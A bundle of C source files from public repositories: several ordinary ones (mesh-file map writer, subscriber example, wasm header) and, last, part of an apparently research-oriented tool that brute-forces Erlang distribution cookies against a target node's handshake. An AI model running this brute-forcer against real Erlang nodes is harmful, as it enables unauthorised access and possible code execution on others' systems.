2024-11-18T19:26:33.818467+00:00 | 2023-09-01T08:20:15 | d7e912dfbbd7f70d32e3d18c33403e470f57a149 | {
"blob_id": "d7e912dfbbd7f70d32e3d18c33403e470f57a149",
"branch_name": "refs/heads/master",
"committer_date": "2023-09-01T08:21:05",
"content_id": "6f55f0de53417679805302e602460751c4975b40",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "820b6af9fd43b270749224bb278e5f714f655ac9",
"extension": "c",
"filename": "ex_put_num_map.c",
"fork_events_count": 1243,
"gha_created_at": "2010-04-27T15:12:58",
"gha_event_created_at": "2023-09-14T07:53:03",
"gha_language": "C++",
"gha_license_id": "NOASSERTION",
"github_id": 631615,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7924,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/ThirdParty/exodusII/vtkexodusII/src/ex_put_num_map.c",
"provenance": "stackv2-0027.json.gz:1993",
"repo_name": "Kitware/VTK",
"revision_date": "2023-09-01T08:20:15",
"revision_id": "dd4138e17f1ed5dfe6ef1eab0ff6643fdc07e271",
"snapshot_id": "49dee7d4f83401efce8826f1759cd5d9caa281d1",
"src_encoding": "UTF-8",
"star_events_count": 2253,
"url": "https://raw.githubusercontent.com/Kitware/VTK/dd4138e17f1ed5dfe6ef1eab0ff6643fdc07e271/ThirdParty/exodusII/vtkexodusII/src/ex_put_num_map.c",
"visit_date": "2023-09-01T10:21:57.496189"
} | stackv2 | /*
* Copyright(C) 1999-2020 National Technology & Engineering Solutions
* of Sandia, LLC (NTESS). Under the terms of Contract DE-NA0003525 with
* NTESS, the U.S. Government retains certain rights in this software.
*
* See packages/seacas/LICENSE for details
*/
/*****************************************************************************
*
* expem - ex_put_num_map
*
* entry conditions -
* input parameters:
* int exoid exodus file id
* int map_type type of map (node,edge,face,elem)
* int map_id id to associate with new map
* int *map_data map set value array
*
* exit conditions -
*
* revision history -
*
*****************************************************************************/
#include "exodusII.h" // for ex_err, etc
#include "exodusII_int.h" // for EX_FATAL, etc
/*!
* writes a map; this is a vector of integers of the same length as the
* number of entries in the source object (nodes, edges, faces, or elements
* in the file).
* \param exoid exodus file id
* \param map_type type of map (node,edge,face,elem)
* \param map_id id to associate with new map
* \param map map set value array
*/
int ex_put_num_map(int exoid, ex_entity_type map_type, ex_entity_id map_id, const void_int *map)
{
int dimid, varid;
int map_int_type;
size_t start[1];
int ldum;
int num_maps;
size_t num_entries;
int cur_num_maps;
char errmsg[MAX_ERR_LENGTH];
const char *dnumentries;
const char *dnummaps;
const char *vmapids;
const char *vmap;
int status;
EX_FUNC_ENTER();
if (ex__check_valid_file_id(exoid, __func__) == EX_FATAL) {
EX_FUNC_LEAVE(EX_FATAL);
}
switch (map_type) {
case EX_NODE_MAP:
dnumentries = DIM_NUM_NODES;
dnummaps = DIM_NUM_NM;
vmapids = VAR_NM_PROP(1);
break;
case EX_EDGE_MAP:
dnumentries = DIM_NUM_EDGE;
dnummaps = DIM_NUM_EDM;
vmapids = VAR_EDM_PROP(1);
break;
case EX_FACE_MAP:
dnumentries = DIM_NUM_FACE;
dnummaps = DIM_NUM_FAM;
vmapids = VAR_FAM_PROP(1);
break;
case EX_ELEM_MAP:
dnumentries = DIM_NUM_ELEM;
dnummaps = DIM_NUM_EM;
vmapids = VAR_EM_PROP(1);
break;
default:
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: Bad map type (%d) specified for file id %d", map_type,
exoid);
ex_err_fn(exoid, __func__, errmsg, EX_BADPARAM);
EX_FUNC_LEAVE(EX_FATAL);
}
/* Make sure the file contains entries */
if (nc_inq_dimid(exoid, dnumentries, &dimid) != NC_NOERR) {
EX_FUNC_LEAVE(EX_NOERR);
}
/* first check if any maps are specified */
if ((status = nc_inq_dimid(exoid, dnummaps, &dimid)) != NC_NOERR) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: no %ss specified in file id %d",
ex_name_of_object(map_type), exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
/* Check for duplicate map id entry */
status = ex__id_lkup(exoid, map_type, map_id);
if (status != -EX_LOOKUPFAIL) { /* found the map id */
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: %s %" PRId64 " already defined in file id %d",
ex_name_of_object(map_type), map_id, exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
/* Get number of maps initialized for this file */
if ((status = nc_inq_dimlen(exoid, dimid, &num_entries)) != NC_NOERR) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: failed to get number of %ss in file id %d",
ex_name_of_object(map_type), exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
num_maps = num_entries;
/* Keep track of the total number of maps defined using a counter stored
in a linked list keyed by exoid.
NOTE: ex__get_file_item is used to find the number of maps
for a specific file and returns that value.
*/
cur_num_maps = ex__get_file_item(exoid, ex__get_counter_list(map_type));
if (cur_num_maps >= num_maps) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: exceeded number of %ss (%d) specified in file id %d",
ex_name_of_object(map_type), num_maps, exoid);
ex_err_fn(exoid, __func__, errmsg, EX_BADPARAM);
EX_FUNC_LEAVE(EX_FATAL);
}
/* NOTE: ex__inc_file_item is used to find the number of maps
for a specific file and returns that value incremented. */
cur_num_maps = ex__inc_file_item(exoid, ex__get_counter_list(map_type));
/* write out information to previously defined variable */
/* first get id of variable */
if ((status = nc_inq_varid(exoid, vmapids, &varid)) == -1) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: failed to locate %s ids in file id %d",
ex_name_of_object(map_type), exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
/* then, write out map id */
start[0] = cur_num_maps;
ldum = (int)map_id;
if ((status = nc_put_var1_int(exoid, varid, start, &ldum)) != NC_NOERR) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: failed to store %s id %" PRId64 " in file id %d",
ex_name_of_object(map_type), map_id, exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
switch (map_type) {
case EX_NODE_MAP: vmap = VAR_NODE_MAP(cur_num_maps + 1); break;
case EX_EDGE_MAP: vmap = VAR_EDGE_MAP(cur_num_maps + 1); break;
case EX_FACE_MAP: vmap = VAR_FACE_MAP(cur_num_maps + 1); break;
case EX_ELEM_MAP: vmap = VAR_ELEM_MAP(cur_num_maps + 1); break;
default:
snprintf(errmsg, MAX_ERR_LENGTH,
"Internal ERROR: unrecognized map type in switch: %d in file id %d", map_type, exoid);
ex_err_fn(exoid, __func__, errmsg, EX_BADPARAM);
EX_FUNC_LEAVE(EX_FATAL);
}
/* locate variable array in which to store the map */
if ((status = nc_inq_varid(exoid, vmap, &varid)) != NC_NOERR) {
int dims[2];
/* determine number of entries */
if ((status = nc_inq_dimid(exoid, dnumentries, &dimid)) == -1) {
snprintf(errmsg, MAX_ERR_LENGTH,
"ERROR: couldn't determine number of %s entries in file id %d",
ex_name_of_object(map_type), exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
if ((status = nc_redef(exoid)) != NC_NOERR) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: failed to place file id %d into define mode", exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
/* Check type to be used for maps... */
map_int_type = NC_INT;
if (ex_int64_status(exoid) & EX_MAPS_INT64_DB) {
map_int_type = NC_INT64;
}
dims[0] = dimid;
if ((status = nc_def_var(exoid, vmap, map_int_type, 1, dims, &varid)) == -1) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: failed to define map %s in file id %d", vmap, exoid);
ex_err_fn(exoid, __func__, errmsg, status);
}
ex__compress_variable(exoid, varid, 1);
if ((status = ex__leavedef(exoid, __func__)) != NC_NOERR) { /* exit define mode */
varid = -1; /* force early exit */
}
if (varid == -1) { /* we couldn't define variable and have prepared error message. */
EX_FUNC_LEAVE(EX_FATAL);
}
}
/* write out the map */
if (ex_int64_status(exoid) & EX_MAPS_INT64_API) {
status = nc_put_var_longlong(exoid, varid, map);
}
else {
status = nc_put_var_int(exoid, varid, map);
}
if (status != NC_NOERR) {
snprintf(errmsg, MAX_ERR_LENGTH, "ERROR: failed to store %s in file id %d",
ex_name_of_object(map_type), exoid);
ex_err_fn(exoid, __func__, errmsg, status);
EX_FUNC_LEAVE(EX_FATAL);
}
EX_FUNC_LEAVE(EX_NOERR);
}
| 2.125 | 2 |
2024-11-18T19:27:15.027570+00:00 | 2021-01-30T20:36:45 | 3b6abdb0d61d728f92b54e7380c82da51d7827f1 | {
"blob_id": "3b6abdb0d61d728f92b54e7380c82da51d7827f1",
"branch_name": "refs/heads/master",
"committer_date": "2021-01-30T20:36:45",
"content_id": "44748e1111c8a9fc106460954e32dacc13b1e777",
"detected_licenses": [
"MIT"
],
"directory_id": "acd3d2e88833db880ffcd49b0b841b4d3cd5ee06",
"extension": "c",
"filename": "testFopen.c",
"fork_events_count": 0,
"gha_created_at": "2020-10-07T16:27:59",
"gha_event_created_at": "2021-01-28T13:39:19",
"gha_language": "C",
"gha_license_id": null,
"github_id": 302095720,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 433,
"license": "MIT",
"license_type": "permissive",
"path": "/2021-01-26-files/firstLevel/testFopen.c",
"provenance": "stackv2-0027.json.gz:2377",
"repo_name": "opatiny/S1-INFO1",
"revision_date": "2021-01-30T20:36:45",
"revision_id": "5cd3eb850057a002d1fa0feaa24633cac2e03d1a",
"snapshot_id": "d24fbf67c9391d47827efab9188671ace522dafe",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/opatiny/S1-INFO1/5cd3eb850057a002d1fa0feaa24633cac2e03d1a/2021-01-26-files/firstLevel/testFopen.c",
"visit_date": "2023-03-11T06:31:52.366434"
} | stackv2 | #include <stdio.h>
int main() {
FILE* fp;
FILE* fp2;
FILE* fp3;
FILE* fp4;
fp = fopen("test/test.txt", "w");
fp2 = fopen("test/test2.txt", "w");
fp3 = fopen("../test3.txt", "w");
fp4 = fopen("test/test4.txt", "w");
fprintf(fp, "This is a first file\n");
fprintf(fp2, "This is a second file\n");
fprintf(fp3, "This is a third file\n");
fclose(fp);
fclose(fp2);
fclose(fp3);
fclose(fp4);
return 0;
}
| 2.5 | 2 |
2024-11-18T19:27:15.254213+00:00 | 2023-08-29T11:30:11 | 7291de39541fb3bb1e16679282d205af58b1633e | {
"blob_id": "7291de39541fb3bb1e16679282d205af58b1633e",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-29T11:30:11",
"content_id": "c8839f365488d05d5be8a7a673ca5c5a882f2733",
"detected_licenses": [
"BSD-3-Clause",
"BSD-4-Clause-UC"
],
"directory_id": "07664200f77c4d87baf972e367e772be8d5a65cd",
"extension": "c",
"filename": "xputchar.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 206938721,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 840,
"license": "BSD-3-Clause,BSD-4-Clause-UC",
"license_type": "permissive",
"path": "/contrib/ingres/source/gutil/xputchar.c",
"provenance": "stackv2-0027.json.gz:2634",
"repo_name": "TheSledgeHammer/2.11BSD_X44",
"revision_date": "2023-08-29T11:30:11",
"revision_id": "a342c2465bd295632d1b0ff1e3d11903bd9b2f4a",
"snapshot_id": "77e0f9cab93eb3abb337dd6ab7530a317cceecbd",
"src_encoding": "UTF-8",
"star_events_count": 9,
"url": "https://raw.githubusercontent.com/TheSledgeHammer/2.11BSD_X44/a342c2465bd295632d1b0ff1e3d11903bd9b2f4a/contrib/ingres/source/gutil/xputchar.c",
"visit_date": "2023-08-29T12:24:17.677815"
} | stackv2 | /*
** PUT CHARACTER
**
** This routine just calls putchar normally, unless the character
** to be printed is a control character, in which case the octal
** equivalent is printed out. Note that tab, newline, and so
** forth are considered to be control characters.
**
** Parameters:
** ch -- the character to print.
**
** Returns:
** nothing.
**
** Side Effects:
** none
**
** Requires:
** putchar
**
** Called by:
** printatt
** prargs
** (maybe others?)
**
** Trace Flags:
** none
**
** Diagnostics:
** none
**
** Syserrs:
** none
**
** History:
** 2/27/78 (eric) -- adapted from old xputchar in 6.0.
*/
xputchar(ch)
char ch;
{
register int c;
c = ch;
if (c < 040 || c >= 0177)
{
putchar('\\');
putchar(((c >> 6) & 03) | '0');
putchar(((c >> 3) & 07) | '0');
putchar((c & 07) | '0');
}
else
putchar(c);
}
| 2.59375 | 3 |
2024-11-18T19:27:15.387021+00:00 | 2020-05-04T21:10:03 | 36073a0a70754ffb9c9f4cf2b8a6fb2a37b36c17 | {
"blob_id": "36073a0a70754ffb9c9f4cf2b8a6fb2a37b36c17",
"branch_name": "refs/heads/master",
"committer_date": "2020-05-04T21:10:03",
"content_id": "2597fcf1712eaf29e61214a8741fcadb1cfce2b2",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "1345f5094610b5a7c555326a18babf246cc72707",
"extension": "c",
"filename": "b_singlegr.c",
"fork_events_count": 2,
"gha_created_at": "2019-09-05T13:18:44",
"gha_event_created_at": "2020-05-04T21:10:04",
"gha_language": "Logos",
"gha_license_id": null,
"github_id": 206568652,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1193,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/stsdas/pkg/hst_calib/ctools/msbadpix/b_singlegr.c",
"provenance": "stackv2-0027.json.gz:2762",
"repo_name": "spacetelescope/stsdas_stripped",
"revision_date": "2020-05-04T21:10:03",
"revision_id": "043c173fd5497c18c2b1bfe8bcff65180bca3996",
"snapshot_id": "bcd08209b51b3181d5ee58f566db99ab8282de81",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/spacetelescope/stsdas_stripped/043c173fd5497c18c2b1bfe8bcff65180bca3996/stsdas/pkg/hst_calib/ctools/msbadpix/b_singlegr.c",
"visit_date": "2020-07-20T03:56:53.580456"
} | stackv2 | # include <stdio.h>
# include <float.h>
# include "nbadpix.h"
/* B_SINGLEGROUP - Process one group from the input list.
*
*
*
*
* Revision history:
* ----------------
* 05 Aug 96 - Implementation (IB)
*
*/
int b_singleGroup (IRAFPointer list, char *mask, Counter *cou, Image *img,
char *timeStamp, Bool verbose) {
int i;
char filename[SZ_NAME];
int b_singleImage (char *, Counter *, Image *, Bool);
void b_computeFlags (int, Counter *, Image *, Bool);
int b_outputGroup (IRAFPointer, char *, Counter *, Image *,
char *, Bool);
/* Clear counter array. */
for (i = 0; i < (img->xsize * img->ysize); cou->counter[i++] = 0);
/* Process each image in input list. */
c_imtrew (list);
for (i = 0; i < c_imtlen(list); i++) {
/* Get image name. */
c_imtgetim (list, filename, SZ_NAME);
/* Process it. */
if (b_singleImage (filename, cou, img, verbose))
return (1);
}
/* Compute flags. */
b_computeFlags (c_imtlen(list), cou, img, verbose);
/* Output result. */
if (b_outputGroup (list, mask, cou, img, timeStamp, verbose))
return (1);
return (0);
}
| 2.4375 | 2 |
2024-11-18T19:49:02.666097+00:00 | 2021-10-02T14:57:54 | 6010cc9a10177192c54edf2aee22b8d3e61fa19d | {
"blob_id": "6010cc9a10177192c54edf2aee22b8d3e61fa19d",
"branch_name": "refs/heads/master",
"committer_date": "2021-10-02T14:57:54",
"content_id": "142d049052b8f870927473f9b671a94058a2466d",
"detected_licenses": [
"MIT"
],
"directory_id": "5e381364c2ab31ff3618369085afffba6caa8edb",
"extension": "c",
"filename": "ice_c_subscriber.c",
"fork_events_count": 0,
"gha_created_at": "2020-12-21T07:30:02",
"gha_event_created_at": "2021-05-29T13:37:04",
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 323262699,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2825,
"license": "MIT",
"license_type": "permissive",
"path": "/recipes/iceoryx/all/test_package/icedelivery_in_c/ice_c_subscriber.c",
"provenance": "stackv2-0027.json.gz:221959",
"repo_name": "CAMOBAP/conan-center-index",
"revision_date": "2021-10-02T14:57:54",
"revision_id": "67d57532bdad549fef3fa6cb8fcdfa86bc55e4f1",
"snapshot_id": "16aea68a6d22da22831ba985773125e8eda08f00",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/CAMOBAP/conan-center-index/67d57532bdad549fef3fa6cb8fcdfa86bc55e4f1/recipes/iceoryx/all/test_package/icedelivery_in_c/ice_c_subscriber.c",
"visit_date": "2023-07-30T08:58:57.285571"
} | stackv2 | // Copyright (c) 2020 by Robert Bosch GmbH. All rights reserved.
// Copyright (c) 2020 - 2021 by Apex.AI Inc. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// SPDX-License-Identifier: Apache-2.0
#include "iceoryx_binding_c/runtime.h"
#include "iceoryx_binding_c/subscriber.h"
#include "iceoryx_binding_c/types.h"
#include "sleep_for.h"
#include "topic_data.h"
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
bool killswitch = false;
const char APP_NAME[] = "iox-c-subscriber";
static void sigHandler(int signalValue)
{
// Ignore unused variable warning
(void)signalValue;
// caught SIGINT or SIGTERM, now exit gracefully
killswitch = true;
}
void receiving()
{
iox_runtime_init(APP_NAME);
// When starting the subscriber late it will miss the first samples which the
// publisher has send. The history ensures that we at least get the last 10
// samples send by the publisher when we subscribe.
iox_sub_options_t options;
iox_sub_options_init(&options);
options.historyRequest = 10U;
options.queueCapacity = 5U;
options.nodeName = "iox-c-subscriber-node";
iox_sub_storage_t subscriberStorage;
iox_sub_t subscriber = iox_sub_init(&subscriberStorage, "Radar", "FrontLeft", "Object", &options);
while (!killswitch)
{
if (SubscribeState_SUBSCRIBED == iox_sub_get_subscription_state(subscriber))
{
const void* userPayload = NULL;
// we will receive here more then one sample since the publisher is sending a
// new sample every 400ms and we check for new samples only every second
while (ChunkReceiveResult_SUCCESS == iox_sub_take_chunk(subscriber, &userPayload))
{
const struct RadarObject* sample = (const struct RadarObject*)(userPayload);
printf("%s got value: %.0f\n", APP_NAME, sample->x);
fflush(stdout);
iox_sub_release_chunk(subscriber, userPayload);
}
printf("\n");
}
else
{
printf("Not subscribed!\n");
}
sleep_for(1000);
}
iox_sub_deinit(subscriber);
}
int main()
{
signal(SIGINT, sigHandler);
signal(SIGTERM, sigHandler);
receiving();
return 0;
}
| 2.265625 | 2 |
2024-11-18T19:49:02.762170+00:00 | 2019-12-03T09:38:56 | 0bfaa98ee4e2bf44ac040042645dd6b44ebd46cd | {
"blob_id": "0bfaa98ee4e2bf44ac040042645dd6b44ebd46cd",
"branch_name": "refs/heads/master",
"committer_date": "2019-12-03T09:38:56",
"content_id": "ff821ae034fa168ccbb927cb076ef34e4663544a",
"detected_licenses": [
"MIT"
],
"directory_id": "12abb84df7fe97f3bcd4fec4c579e61762dd2ac9",
"extension": "h",
"filename": "transaction.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4065,
"license": "MIT",
"license_type": "permissive",
"path": "/libraries/wasmlib/capi/transaction.h",
"provenance": "stackv2-0027.json.gz:222088",
"repo_name": "jijianglinlovedog/wasm.cdt",
"revision_date": "2019-12-03T09:38:56",
"revision_id": "563377037df263477627d5d7a8833198f0e58ac5",
"snapshot_id": "34ac6931ef9932a91524ecd51c5d3c6392d6933a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jijianglinlovedog/wasm.cdt/563377037df263477627d5d7a8833198f0e58ac5/libraries/wasmlib/capi/transaction.h",
"visit_date": "2020-09-26T21:39:57.104581"
} | stackv2 | /**
* @file
* @copyright defined in wasm/LICENSE
*/
#pragma once
#include "types.h"
#ifdef __cplusplus
extern "C" {
#endif
/**
* @addtogroup transaction_c Transaction API
* @ingroup c_api
* @brief Defines C API for sending transactions and inline actions
*
* @details Deferred transactions will not be processed until a future block. They
* can therefore have no effect on the success of failure of their parent
* transaction so long as they appear well formed. If any other condition
* causes the parent transaction to be marked as failing, then the deferred
* transaction will never be processed.
*
* Deferred transactions must adhere to the permissions available to the
* parent transaction or, in the future, delegated to the contract account
* for future use.
*
* An inline message allows one contract to send another contract a message
* which is processed immediately after the current message's processing
* ends such that the success or failure of the parent transaction is
* dependent on the success of the message. If an inline message fails in
* processing then the whole tree of transactions and actions rooted in the
* block will me marked as failing and none of effects on the database will
* persist.
*
* Inline actions and Deferred transactions must adhere to the permissions
* available to the parent transaction or, in the future, delegated to the
* contract account for future use.
* @{
*/
__attribute__((wasm_wasm_import))
size_t read_transaction(char *buffer, size_t size);
/**
* Gets the size of the currently executing transaction.
*
* @brief Gets the size of the currently executing transaction.
* @return size of the currently executing transaction
*/
__attribute__((wasm_wasm_import))
size_t transaction_size();
/**
* Gets the block number used for TAPOS on the currently executing transaction.
*
* @brief Gets the block number used for TAPOS on the currently executing transaction.
* @return block number used for TAPOS on the currently executing transaction
* Example:
* @code
* int tbn = tapos_block_num();
* @endcode
*/
__attribute__((wasm_wasm_import))
int tapos_block_num();
/**
* Gets the block prefix used for TAPOS on the currently executing transaction.
*
* @brief Gets the block prefix used for TAPOS on the currently executing transaction.
* @return block prefix used for TAPOS on the currently executing transaction
* Example:
* @code
* int tbp = tapos_block_prefix();
* @endcode
*/
__attribute__((wasm_wasm_import))
int tapos_block_prefix();
/**
* Gets the expiration of the currently executing transaction.
*
* @brief Gets the expiration of the currently executing transaction.
* @return expiration of the currently executing transaction in seconds since Unix epoch
* Example:
* @code
* uint32_t tm = expiration();
* wasm_print(tm);
* @endcode
*/
__attribute__((wasm_wasm_import))
uint32_t expiration();
/**
* Retrieves the indicated action from the active transaction.
*
* @brief Retrieves the indicated action from the active transaction.
* @param type - 0 for context free action, 1 for action
* @param index - the index of the requested action
* @param buff - output packed buff of the action
* @param size - amount of buff read, pass 0 to have size returned
* @return the size of the action, -1 on failure
*/
__attribute__((wasm_wasm_import))
int get_action( uint32_t type, uint32_t index, char* buff, size_t size );
/**
* Retrieve the signed_transaction.context_free_data[index].
*
* @brief Retrieve the signed_transaction.context_free_data[index].
* @param index - the index of the context_free_data entry to retrieve
* @param buff - output buff of the context_free_data entry
* @param size - amount of context_free_data[index] to retrieve into buff, 0 to report required size
* @return size copied, or context_free_data[index].size() if 0 passed for size, or -1 if index not valid
*/
__attribute__((wasm_wasm_import))
int get_context_free_data( uint32_t index, char* buff, size_t size );
#ifdef __cplusplus
}
#endif
///}@
| 2.171875 | 2 |
2024-11-18T19:49:22.575993+00:00 | 2023-04-01T06:12:34 | 089e857e9f893749e294918467ca204ec4114dfa | {
"blob_id": "089e857e9f893749e294918467ca204ec4114dfa",
"branch_name": "refs/heads/master",
"committer_date": "2023-04-01T06:12:34",
"content_id": "0fb6d1493a2fba486cb3043fb299e2c49ae62d5e",
"detected_licenses": [
"MIT",
"BSD-3-Clause"
],
"directory_id": "74eeac4d154eb733973a4c2376a5748505db7b66",
"extension": "c",
"filename": "bruteforce-erldp.c",
"fork_events_count": 12,
"gha_created_at": "2017-09-06T10:58:21",
"gha_event_created_at": "2021-09-01T06:45:02",
"gha_language": "Python",
"gha_license_id": "NOASSERTION",
"github_id": 102597933,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 16125,
"license": "MIT,BSD-3-Clause",
"license_type": "permissive",
"path": "/bruteforce-erldp.c",
"provenance": "stackv2-0027.json.gz:222474",
"repo_name": "gteissier/erl-matter",
"revision_date": "2023-04-01T06:12:34",
"revision_id": "a8bb204553da8aea55b1847b4093ab52570c1ebc",
"snapshot_id": "1812e9cc5e341f79e194a45a323228672f03eeab",
"src_encoding": "UTF-8",
"star_events_count": 88,
"url": "https://raw.githubusercontent.com/gteissier/erl-matter/a8bb204553da8aea55b1847b4093ab52570c1ebc/bruteforce-erldp.c",
"visit_date": "2023-04-13T13:39:36.353150"
} | stackv2 | #include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
#include <pthread.h>
#include <inttypes.h>
#include <sys/errno.h>
#include <signal.h>
#include <sys/queue.h>
#include <inttypes.h>
#include <sys/stat.h>
#include <limits.h>
#include <math.h>
#include <assert.h>
#include "erldp.h"
#include "jsmn.h"
static const char *target;
static int port;
static unsigned int interconnection_gap = 0UL;
static int n_workers = 64;
static struct worker *workers;
static unsigned int n_intervals = 0;
#if defined(__APPLE__)
#include "barrier.c"
#endif
struct interval {
uint64_t start;
uint64_t stop;
float prob;
unsigned int index_interval;
pthread_barrier_t barrier;
TAILQ_ENTRY(interval) _next;
};
static TAILQ_HEAD(,interval) intervals;
static struct interval *create_interval(uint64_t start, uint64_t stop,
float prob) {
struct interval *new_interval;
int ret;
new_interval = malloc(sizeof(*new_interval));
assert(new_interval != NULL);
new_interval->start = start;
new_interval->stop = stop;
new_interval->prob = prob;
new_interval->index_interval = n_intervals++;
ret = pthread_barrier_init(&new_interval->barrier, NULL, n_workers);
assert(ret == 0);
printf("creating new interval %ld -> %ld %f\n", start, stop, prob);
return new_interval;
}
static struct interval *parse_interval(char *arg) {
char *comma;
uint64_t start, stop;
float prob;
comma = strchr(arg, ',');
if (!comma) return NULL;
*comma = 0;
start = strtoul(arg, NULL, 10);
arg = comma+1;
comma = strchr(arg, ',');
if (!comma) return NULL;
*comma = 0;
stop = strtoul(arg, NULL, 10);
arg = comma+1;
prob = strtof(arg, NULL);
return create_interval(start, stop, prob);
}
static volatile int quit = 0;
static volatile int finished = 0;
struct worker {
pthread_t tid;
int index;
struct interval *current_interval;
volatile uint32_t cumulative_seeds;
volatile uint32_t cumulative_conns;
volatile uint32_t cumulative_fails;
volatile float cumulative_prob;
};
static int read_exactly(int sd, void *ptr, size_t size) {
size_t current;
int ret;
for (current = 0; current < size; ) {
ret = read(sd, ptr + current, size - current);
if (ret == -1) {
fprintf(stderr, "could not read, '%s'\n", strerror(errno));
return -1;
}
if (ret == 0) {
return 0;
}
current += ret;
}
return current;
}
static int write_exactly(int sd, const void *ptr, size_t size) {
size_t current;
int ret;
for (current = 0; current < size; ) {
ret = write(sd, ptr + current, size - current);
if (ret == -1) {
fprintf(stderr, "could not write, '%s'\n", strerror(errno));
return -1;
}
if (ret == 0) {
fprintf(stderr, "remote disconnected\n");
return 0;
}
current += ret;
}
return current;
}
static size_t read_msg(int sd, void *ptr, size_t size) {
int ret;
uint16_t length;
ret = read_exactly(sd, &length, sizeof(length));
if (ret != sizeof(length)) {
return ret;
}
length = ntohs(length);
if (length > size) {
fprintf(stderr, "received message exceeds size of given buffer\n");
return -1;
}
ret = read_exactly(sd, ptr, length);
if (ret != length) {
return ret;
}
return length;
}
static size_t write_msg(int sd, void *ptr, size_t size) {
int ret;
uint16_t length;
if (size > 65535) {
return -1;
}
length = (uint16_t) size;
length = htons(length);
ret = write_exactly(sd, &length, sizeof(length));
if (ret != sizeof(length)) {
return ret;
}
ret = write_exactly(sd, ptr, size);
if (ret != size) {
return ret;
}
return size;
}
static void hexdump(const void *ptr, size_t size) {
const unsigned char *cptr = ptr;
size_t i;
for (i = 0; i < size; i++) {
printf("%02x", cptr[i]);
}
printf("\n");
}
static void *worker_run(void *arg) {
struct worker *w = arg;
struct sockaddr_in addr;
int ret;
uint64_t seed, start, stop;
int sd;
uint64_t challenge;
char cookie[20];
uint8_t buffer[256];
char send_name[64] = "n" "\x00\x05" "\x00\x07\x49\x9c";
size_t name_length;
char send_challenge_reply[23] = "\x00\x15" "r" "\x00\x00\x00\x00";
const int on = 1;
name_length = snprintf(&send_name[7], 32, "bruteforce%04x@erldp", w->index);
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(target);
addr.sin_port = htons(port);
w->cumulative_prob = 0.0;
for (; w->current_interval != NULL; w->current_interval = TAILQ_NEXT(w->current_interval, _next)) {
start = w->current_interval->start + w->index;
stop = w->current_interval->stop;
for (seed = start; seed <= stop && !quit; seed += n_workers) {
create_cookie(seed, cookie, sizeof(cookie));
sd = socket(PF_INET, SOCK_STREAM, 0);
assert(sd != -1);
ret = setsockopt(sd, SOL_SOCKET, SO_REUSEPORT, &on, sizeof(on));
assert(ret == 0);
ret = connect(sd, (struct sockaddr *) &addr, sizeof(addr));
if (ret != 0) {
fprintf(stderr, "could not connect to target, '%s'\n", strerror(errno));
quit = 1;
return NULL;
}
w->cumulative_conns += 1;
ret = write_msg(sd, send_name, 7 + name_length);
if (ret != name_length + 7) {
fprintf(stderr, "could not send complete send_name\n");
quit = 1;
return NULL;
}
ret = read_msg(sd, buffer, sizeof(buffer));
if (ret == 0 || ret == -1) {
fprintf(stderr, "could not receive send_status\n");
quit = 1;
return NULL;
}
if (ret == 4 && memcmp(buffer, "snok", 4) == 0) {
w->cumulative_fails += 1;
goto failed_handshake;
}
else if (ret != 3 || memcmp(buffer, "sok", 3) != 0) {
fprintf(stderr, "invalid / unexpected message received, while awaiting send_status\n");
printf("received :");
hexdump(buffer, ret);
quit = 1;
return NULL;
}
